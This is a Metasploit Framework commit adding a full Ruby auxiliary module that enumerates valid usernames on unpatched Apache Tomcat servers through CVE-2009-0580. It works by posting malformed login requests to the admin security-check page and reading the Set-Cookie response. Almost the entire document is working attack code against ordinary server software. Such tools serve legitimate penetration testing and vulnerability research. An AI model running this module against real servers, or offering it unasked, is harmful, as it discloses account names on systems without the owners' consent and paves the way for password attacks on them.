Adding Tomcat user enumeration module for CVE-2009-0580, submitted by Heyder Andrade. Thanks!

git-svn-id: file:///home/svn/framework3/trunk@9464 4d416f70-5f16-0410-b530-b9f4589650da

modules/auxiliary/scanner/http/tomcat_enum.rb

@@ -0,0 +1,103 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+	include Msf::Auxiliary::AuthBrute
+
+	def initialize
+		super(
+			'Name'           => 'Apache Tomcat User Enumeration',
+			'Version'        => '$Revision$',
+			'Description'    => %q{Apache Tomcat user enumeration utility, for Apache Tomcat servers prior to version 6.0.20, 5.5.28, and 4.1.40.},
+			'Author'         =>
+			[
+				'==[ Alligator Security Team ]==',
+				'Heyder Andrade <heyder.andrade[at]gmail.com>',
+				'Leandro Oliveira <leandrofernando[at]gmail.com>'
+			],
+
+			'References'     => 
+				[
+					['BID', '35196'],
+					['CVE', 'CVE-2009-0580'],
+				],  
+				'License'        =>  MSF_LICENSE
+		)   
+
+		register_options(
+			[ Opt::RPORT(8080),
+				OptString.new('URI', [true, 'The path of the Apache Tomcat Administration page', '/admin/j_security_check']),
+				OptBool.new('VERBOSE', [ true, "Whether to print output for all attempts", true]),
+				OptString.new('UserAgent', [ false, "The HTTP User-Agent sent in the request", 'Mozilla/4.0 (compatible MSIE 6.0; Windows NT 5.1)' ]),
+				OptPath.new('USER_FILE',  [ true, "File containing users, one per line",
+					File.join(Msf::Config.install_root, "data", "wordlists", "unix_users.txt") ]),
+			], self.class)
+
+		deregister_options('PASSWORD','PASS_FILE','USERPASS_FILE','STOP_ON_SUCCESS','BLANK_PASSWORDS','USERNAME')
+	end 
+
+	def target_url
+		"http://#{vhost}:#{rport}#{datastore['URI']}"
+	end
+
+	def run_host(ip)
+		@users_found = {}
+
+		each_user_pass {|user,pass|
+			do_login(user)
+		}   
+
+		if(@users_found.empty?)
+			print_status("#{target_url} - No users found.")
+		else
+			print_good("#{target_url} - Users found: #{@users_found.keys.sort.join(", ")}")
+			report_note(
+				:host => rhost,
+				:port => rport,
+				:type => 'tomcat.users',
+				:data => {:users =>  @users_found.keys.join(", ")}
+			)
+		end 
+	end 
+
+	def do_login(user)
+		post_data = "j_username=#{user}&password=%"
+		vprint_status("#{target_url} - Apache Tomcat - Trying name: '#{user}'")
+		begin
+			res = send_request_cgi({
+				'method'  => 'POST',
+				'uri'     => datastore['URI'],
+				'data'    => post_data,
+			}, 20)
+
+			if (res and res.code == 200 and res.headers['Set-Cookie'])
+				vprint_status("#{target_url} - Apache Tomcat #{user} not found ")
+			elsif (res.code == 200)
+				print_good("#{target_url} - Apache Tomcat #{user} found ")
+				@users_found[user] = :reported
+			else
+				print_error("#{target_url} - NOT VULNERABLE")
+				return :abort
+			end
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+		rescue ::Timeout::Error, ::Errno::EPIPE
+		end
+	end
+
+end